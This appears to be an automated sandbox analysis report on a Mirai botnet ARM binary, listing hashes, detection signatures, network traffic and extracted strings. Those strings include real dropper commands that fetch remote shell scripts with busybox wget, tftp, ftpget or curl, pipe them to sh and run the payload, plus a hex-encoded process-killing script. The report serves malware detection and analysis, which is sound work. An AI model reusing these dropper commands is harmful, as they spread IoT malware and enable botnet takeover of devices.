Linux Analysis Report
ZrNKORUSI5.elf

Overview

General Information

Sample name: ZrNKORUSI5.elf
renamed because original name is a hash value
Original sample name: 537f7ec98e4b025020bad5137fde9ac9.elf
Analysis ID: 1432511
MD5: 537f7ec98e4b025020bad5137fde9ac9
SHA1: b5effaf38b4d1cf4ed82248fb88c50f9802968e6
SHA256: d2e048651e6fe58a90c0890bdd1b14e8642cedc0ecb0f06e1c21db0c424b1678
Tags: 32armelfmirai
Infos:

Detection

Mirai
Score: 64
Range: 0 - 100
Whitelisted: false

Signatures

Multi AV Scanner detection for submitted file
Yara detected Mirai
Connects to many ports of the same IP (likely port scanning)
Uses known network protocols on non-standard ports
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Name Description Attribution Blogpost URLs Link
Mirai Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

AV Detection

barindex
Source: ZrNKORUSI5.elf ReversingLabs: Detection: 57%
Source: ZrNKORUSI5.elf Virustotal: Detection: 45% Perma Link
Source: ZrNKORUSI5.elf String: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0

Networking

barindex
Source: global traffic TCP traffic: 5.181.80.60 ports 38241,1,2,3,4,8
Source: unknown Network traffic detected: HTTP traffic on port 23 -> 38744
Source: unknown Network traffic detected: HTTP traffic on port 23 -> 54744
Source: global traffic TCP traffic: 192.168.2.23:35326 -> 5.181.80.60:38241
Source: /tmp/ZrNKORUSI5.elf (PID: 6240) Socket: 127.0.0.1::39148 Jump to behavior
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: unknown TCP traffic detected without corresponding DNS query: 186.73.150.37
Source: unknown TCP traffic detected without corresponding DNS query: 220.115.4.102
Source: unknown TCP traffic detected without corresponding DNS query: 196.40.36.151
Source: unknown TCP traffic detected without corresponding DNS query: 22.139.127.91
Source: unknown TCP traffic detected without corresponding DNS query: 185.206.23.191
Source: unknown TCP traffic detected without corresponding DNS query: 67.143.97.145
Source: unknown TCP traffic detected without corresponding DNS query: 42.58.134.101
Source: unknown TCP traffic detected without corresponding DNS query: 31.220.11.237
Source: unknown TCP traffic detected without corresponding DNS query: 173.1.241.192
Source: unknown TCP traffic detected without corresponding DNS query: 193.233.172.104
Source: unknown TCP traffic detected without corresponding DNS query: 57.93.240.56
Source: unknown TCP traffic detected without corresponding DNS query: 16.148.36.124
Source: unknown TCP traffic detected without corresponding DNS query: 116.164.105.107
Source: unknown TCP traffic detected without corresponding DNS query: 96.89.9.58
Source: unknown TCP traffic detected without corresponding DNS query: 9.208.146.210
Source: unknown TCP traffic detected without corresponding DNS query: 155.142.85.220
Source: unknown TCP traffic detected without corresponding DNS query: 41.219.189.95
Source: unknown TCP traffic detected without corresponding DNS query: 104.137.225.134
Source: unknown TCP traffic detected without corresponding DNS query: 68.78.50.112
Source: unknown TCP traffic detected without corresponding DNS query: 161.154.83.46
Source: unknown TCP traffic detected without corresponding DNS query: 185.186.0.183
Source: unknown TCP traffic detected without corresponding DNS query: 3.35.69.146
Source: unknown TCP traffic detected without corresponding DNS query: 98.41.26.80
Source: unknown TCP traffic detected without corresponding DNS query: 95.104.234.52
Source: unknown TCP traffic detected without corresponding DNS query: 214.113.25.177
Source: unknown TCP traffic detected without corresponding DNS query: 189.185.88.1
Source: unknown TCP traffic detected without corresponding DNS query: 35.229.126.238
Source: unknown TCP traffic detected without corresponding DNS query: 111.189.94.254
Source: unknown TCP traffic detected without corresponding DNS query: 15.202.80.135
Source: unknown TCP traffic detected without corresponding DNS query: 78.91.168.4
Source: unknown TCP traffic detected without corresponding DNS query: 177.248.81.232
Source: unknown TCP traffic detected without corresponding DNS query: 129.155.115.245
Source: unknown TCP traffic detected without corresponding DNS query: 122.18.16.250
Source: unknown TCP traffic detected without corresponding DNS query: 138.239.115.200
Source: unknown TCP traffic detected without corresponding DNS query: 118.220.207.10
Source: unknown TCP traffic detected without corresponding DNS query: 38.58.246.218
Source: unknown TCP traffic detected without corresponding DNS query: 203.108.43.110
Source: unknown TCP traffic detected without corresponding DNS query: 52.38.165.138
Source: unknown TCP traffic detected without corresponding DNS query: 195.51.117.24
Source: unknown TCP traffic detected without corresponding DNS query: 116.160.133.70
Source: unknown TCP traffic detected without corresponding DNS query: 153.36.158.186
Source: unknown TCP traffic detected without corresponding DNS query: 105.146.160.128
Source: unknown TCP traffic detected without corresponding DNS query: 85.94.177.210
Source: unknown TCP traffic detected without corresponding DNS query: 6.127.123.120
Source: unknown TCP traffic detected without corresponding DNS query: 171.207.99.27
Source: unknown TCP traffic detected without corresponding DNS query: 21.51.22.59
Source: unknown TCP traffic detected without corresponding DNS query: 52.60.108.56
Source: unknown TCP traffic detected without corresponding DNS query: 8.120.48.198
Source: unknown TCP traffic detected without corresponding DNS query: 130.171.250.134
Source: unknown TCP traffic detected without corresponding DNS query: 182.69.71.107
Source: global traffic DNS traffic detected: DNS query: chinklabs.dyn
Source: ZrNKORUSI5.elf String found in binary or memory: http:///curl.sh
Source: ZrNKORUSI5.elf String found in binary or memory: http:///wget.sh
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
Source: ELF static info symbol of initial sample .symtab present: no
Source: classification engine Classification label: mal64.troj.linELF@0/117@1/0
Source: /tmp/ZrNKORUSI5.elf (PID: 6246) File opened: /proc/6263/maps Jump to behavior
Source: /tmp/ZrNKORUSI5.elf (PID: 6246) File opened: /proc/6263/cmdline Jump to behavior
Source: /tmp/ZrNKORUSI5.elf (PID: 6246) File opened: /proc/6274/maps Jump to behavior
Source: /tmp/ZrNKORUSI5.elf (PID: 6246) File opened: /proc/6274/cmdline Jump to behavior
Source: /tmp/ZrNKORUSI5.elf (PID: 6246) File opened: /proc/6274/maps Jump to behavior
Source: /tmp/ZrNKORUSI5.elf (PID: 6246) File opened: /proc/6274/cmdline Jump to behavior
Source: /tmp/ZrNKORUSI5.elf (PID: 6246) File opened: /proc/6262/maps Jump to behavior
Source: /tmp/ZrNKORUSI5.elf (PID: 6246) File opened: /proc/6262/cmdline Jump to behavior
Source: /tmp/ZrNKORUSI5.elf (PID: 6246) File opened: /proc/6273/maps Jump to behavior
Source: /tmp/ZrNKORUSI5.elf (PID: 6246) File opened: /proc/6273/cmdline Jump to behavior
Source: /tmp/ZrNKORUSI5.elf (PID: 6246) File opened: /proc/6273/maps Jump to behavior
Source: /tmp/ZrNKORUSI5.elf (PID: 6246) File opened: /proc/6273/cmdline Jump to behavior
Source: /tmp/ZrNKORUSI5.elf (PID: 6246) File opened: /proc/6265/maps Jump to behavior
Source: /tmp/ZrNKORUSI5.elf (PID: 6246) File opened: /proc/6265/cmdline Jump to behavior
Source: /tmp/ZrNKORUSI5.elf (PID: 6246) File opened: /proc/6276/maps Jump to behavior
Source: /tmp/ZrNKORUSI5.elf (PID: 6246) File opened: /proc/6276/cmdline Jump to behavior
Source: /tmp/ZrNKORUSI5.elf (PID: 6246) File opened: /proc/6276/maps Jump to behavior
Source: /tmp/ZrNKORUSI5.elf (PID: 6246) File opened: /proc/6276/cmdline Jump to behavior
Source: /tmp/ZrNKORUSI5.elf (PID: 6246) File opened: /proc/6264/maps Jump to behavior
Source: /tmp/ZrNKORUSI5.elf (PID: 6246) File opened: /proc/6264/cmdline Jump to behavior
Source: /tmp/ZrNKORUSI5.elf (PID: 6246) File opened: /proc/6275/maps Jump to behavior
Source: /tmp/ZrNKORUSI5.elf (PID: 6246) File opened: /proc/6275/cmdline Jump to behavior
Source: /tmp/ZrNKORUSI5.elf (PID: 6246) File opened: /proc/6275/maps Jump to behavior
Source: /tmp/ZrNKORUSI5.elf (PID: 6246) File opened: /proc/6275/cmdline Jump to behavior
Source: /tmp/ZrNKORUSI5.elf (PID: 6246) File opened: /proc/6267/maps Jump to behavior
Source: /tmp/ZrNKORUSI5.elf (PID: 6246) File opened: /proc/6267/cmdline Jump to behavior
Source: /tmp/ZrNKORUSI5.elf (PID: 6246) File opened: /proc/6267/maps Jump to behavior
Source: /tmp/ZrNKORUSI5.elf (PID: 6246) File opened: /proc/6267/cmdline Jump to behavior
Source: /tmp/ZrNKORUSI5.elf (PID: 6246) File opened: /proc/6266/maps Jump to behavior
Source: /tmp/ZrNKORUSI5.elf (PID: 6246) File opened: /proc/6266/cmdline Jump to behavior
Source: /tmp/ZrNKORUSI5.elf (PID: 6246) File opened: /proc/6277/maps Jump to behavior
Source: /tmp/ZrNKORUSI5.elf (PID: 6246) File opened: /proc/6277/cmdline Jump to behavior
Source: /tmp/ZrNKORUSI5.elf (PID: 6246) File opened: /proc/6277/maps Jump to behavior
Source: /tmp/ZrNKORUSI5.elf (PID: 6246) File opened: /proc/6277/cmdline Jump to behavior
Source: /tmp/ZrNKORUSI5.elf (PID: 6246) File opened: /proc/6269/maps Jump to behavior
Source: /tmp/ZrNKORUSI5.elf (PID: 6246) File opened: /proc/6269/cmdline Jump to behavior
Source: /tmp/ZrNKORUSI5.elf (PID: 6246) File opened: /proc/6269/maps Jump to behavior
Source: /tmp/ZrNKORUSI5.elf (PID: 6246) File opened: /proc/6269/cmdline Jump to behavior
Source: /tmp/ZrNKORUSI5.elf (PID: 6246) File opened: /proc/6268/maps Jump to behavior
Source: /tmp/ZrNKORUSI5.elf (PID: 6246) File opened: /proc/6268/cmdline Jump to behavior
Source: /tmp/ZrNKORUSI5.elf (PID: 6246) File opened: /proc/6268/maps Jump to behavior
Source: /tmp/ZrNKORUSI5.elf (PID: 6246) File opened: /proc/6268/cmdline Jump to behavior
Source: /tmp/ZrNKORUSI5.elf (PID: 6246) File opened: /proc/6312/maps Jump to behavior
Source: /tmp/ZrNKORUSI5.elf (PID: 6246) File opened: /proc/6312/cmdline Jump to behavior
Source: /tmp/ZrNKORUSI5.elf (PID: 6246) File opened: /proc/6312/maps Jump to behavior
Source: /tmp/ZrNKORUSI5.elf (PID: 6246) File opened: /proc/6312/cmdline Jump to behavior
Source: /tmp/ZrNKORUSI5.elf (PID: 6246) File opened: /proc/6270/maps Jump to behavior
Source: /tmp/ZrNKORUSI5.elf (PID: 6246) File opened: /proc/6270/cmdline Jump to behavior
Source: /tmp/ZrNKORUSI5.elf (PID: 6246) File opened: /proc/6270/maps Jump to behavior
Source: /tmp/ZrNKORUSI5.elf (PID: 6246) File opened: /proc/6270/cmdline Jump to behavior
Source: /tmp/ZrNKORUSI5.elf (PID: 6246) File opened: /proc/6261/maps Jump to behavior
Source: /tmp/ZrNKORUSI5.elf (PID: 6246) File opened: /proc/6261/cmdline Jump to behavior
Source: /tmp/ZrNKORUSI5.elf (PID: 6246) File opened: /proc/6272/maps Jump to behavior
Source: /tmp/ZrNKORUSI5.elf (PID: 6246) File opened: /proc/6272/cmdline Jump to behavior
Source: /tmp/ZrNKORUSI5.elf (PID: 6246) File opened: /proc/6272/maps Jump to behavior
Source: /tmp/ZrNKORUSI5.elf (PID: 6246) File opened: /proc/6272/cmdline Jump to behavior
Source: /tmp/ZrNKORUSI5.elf (PID: 6246) File opened: /proc/6271/maps Jump to behavior
Source: /tmp/ZrNKORUSI5.elf (PID: 6246) File opened: /proc/6271/cmdline Jump to behavior
Source: /tmp/ZrNKORUSI5.elf (PID: 6246) File opened: /proc/6271/maps Jump to behavior
Source: /tmp/ZrNKORUSI5.elf (PID: 6246) File opened: /proc/6271/cmdline Jump to behavior

Hooking and other Techniques for Hiding and Protection

barindex
Source: unknown Network traffic detected: HTTP traffic on port 23 -> 38744
Source: unknown Network traffic detected: HTTP traffic on port 23 -> 54744
Source: /tmp/ZrNKORUSI5.elf (PID: 6240) Queries kernel information via 'uname': Jump to behavior
Source: ZrNKORUSI5.elf, 6240.1.00007ffd69958000.00007ffd69979000.rw-.sdmp, ZrNKORUSI5.elf, 6244.1.00007ffd69958000.00007ffd69979000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/ZrNKORUSI5.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/ZrNKORUSI5.elf
Source: ZrNKORUSI5.elf, 6240.1.00005563ba73c000.00005563ba86a000.rw-.sdmp, ZrNKORUSI5.elf, 6244.1.00005563ba73c000.00005563ba86a000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/arm
Source: ZrNKORUSI5.elf, 6240.1.00005563ba73c000.00005563ba86a000.rw-.sdmp, ZrNKORUSI5.elf, 6244.1.00005563ba73c000.00005563ba86a000.rw-.sdmp Binary or memory string: cU!/etc/qemu-binfmt/arm
Source: ZrNKORUSI5.elf, 6240.1.00007ffd69958000.00007ffd69979000.rw-.sdmp, ZrNKORUSI5.elf, 6244.1.00007ffd69958000.00007ffd69979000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm

Stealing of Sensitive Information

barindex
Source: Yara match File source: dump.pcap, type: PCAP

Remote Access Functionality

barindex
Source: Yara match File source: dump.pcap, type: PCAP
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs